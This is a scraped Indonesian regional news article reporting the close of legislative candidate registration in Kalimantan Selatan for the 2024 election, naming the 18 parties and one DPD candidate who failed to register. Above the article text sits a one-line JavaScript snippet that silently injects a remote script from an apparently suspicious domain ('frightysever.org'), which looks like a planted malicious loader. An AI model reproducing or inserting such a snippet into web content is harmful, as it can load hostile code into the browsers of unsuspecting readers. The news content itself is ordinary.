(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pendaftaran bakal calon legislatif (bacaleg) Dewan Perwakilan Daerah (DPD) RI, Dewan Perwakilan Rakyat Daerah (DPRD) Provinsi, dan DPRD kabupaten/kota resmi ditutup, Minggu (14/5/2023) pukul 23.59 Wita.
Sebanyak 18 partai politik (Parpol) peserta Pemilu di Kalimantan Selatan telah menyerahkan berkas pendaftaran Baceleg untuk bertarung di Pemilu 2024.
Berdasarkan data KPU Kalsel, 18 Parpol yang telah diterima dan dinyatakan lengkap yaitu Partai Keadilan Sosial (PKS), Partai Golongan Karya (Golkar), Partai Persatuan Pembangunan (PPP), Partai Nasional Demokrat (Nasdem), Partai Amanat Nasional (PAN).
Kemudian PDIP, Partai Demokrat, Partai Gelora, Partai Gerindra, Partai Bulan Bintang (PBB), Partai Kebangkitan Bangsa (PKB), Partai Hanura, Partai Buruh, Partai Ummat, Partai Garuda, Partai PSI, Partai Perindo, dan Partai Kebangkitan Nusantara (PKN).
Baca juga: Di Injury Time 5 Parpol ‘Gelabakan’ Daftar ke KPU Kalsel
Khusus PKN yang terakhir mendaftarkan dikatakan belum mengunggah penuh persyaratan Bacaleg ke aplikasi sistem informasi pencalonan (Silon), namun oleh KPU Kalsel tetap dibuatkan berita acara dengan syarat tertentu.
“Tadi ada menyerahkan secara manual karena ada yang belum terunggah sepenuhnya atas nama PKN,” kata Anggota KPU Kalsel Hatmiati Mas’ud setelah pendaftaran ditutup.
Dirinya menjelaskan, PKN diberikan waktu selama 2×24 jam untuk melakukan pengunggahan sisa berkas Bacaleg ke aplikasi Silon KPU RI.
Sementara itu, untuk pendaftaran Bacaleg DPD RI Dapil Kalsel disebutkan Hatmiati, hingga batas akhir pendaftaran pukul 23.59 Wita hanya 9 orang yang resmi mendaftar.
Padahal sebelumnya KPU Kalsel telah menetapkan 10 orang Bacaleg DPD RI yang memenuhi syarat minimal dukungan 2 ribu KTP dari masyarakat Kalsel.
Satu Bacaleg DPD RI atas nama Mohammad Sofwat Hadi hingga batas akhir pendaftaran tidak menyerahkan berkas ataupun bersurat resmi ke KPU Kalsel.
“Yang bersangkutan tidak ada bersurat resmi, kami hanya menunggu sesuai jadwal hingga pukul 23.00 Wita hanya ada 9 orang yang mendaftar,” kata Hatmiati.
Baca juga: Bubuhan Banjar di Jatim Serasa Pulang Kampung, Paman Birin Bawa Bingka dan Kue Lam
Oleh karena itu, menurut Anggota KPU Kalsel yang bersangkutan tidak berhak lagi untuk mendaftar sebagai Bacaleg DPD RI Dapil Kalsel periode 2024-2028.
“Artinya yang bersangkutan memang tidak mendaftarkan diri,” ujar Hatmiati.
Kanalkalimantan.com mencoba melakukan konfirmasi kepada Mohammad Sofwat Hadi namun hingga saat ini belum ada jawaban dari yang bersangkutan terkait alasan tidak jadi mendaftar sebagai Bacaleg DPD RI. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Rapat Paripurna beragendakan Jawaban Bupati atas Pemandangan Umum Fraksi-fraksi DPRD terhadap Rancangan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kesiapsiagaan Bencana dan antisipasi bencana di Kalimantan Selatan, Badan Penanggulangan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Mantan Wakil Gubernur Kalimantan Tengah Habib Ismail bin Yahya secara resmi… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi menghadiri acara halalbihalal gabungan pengajian… Read More
This website uses cookies.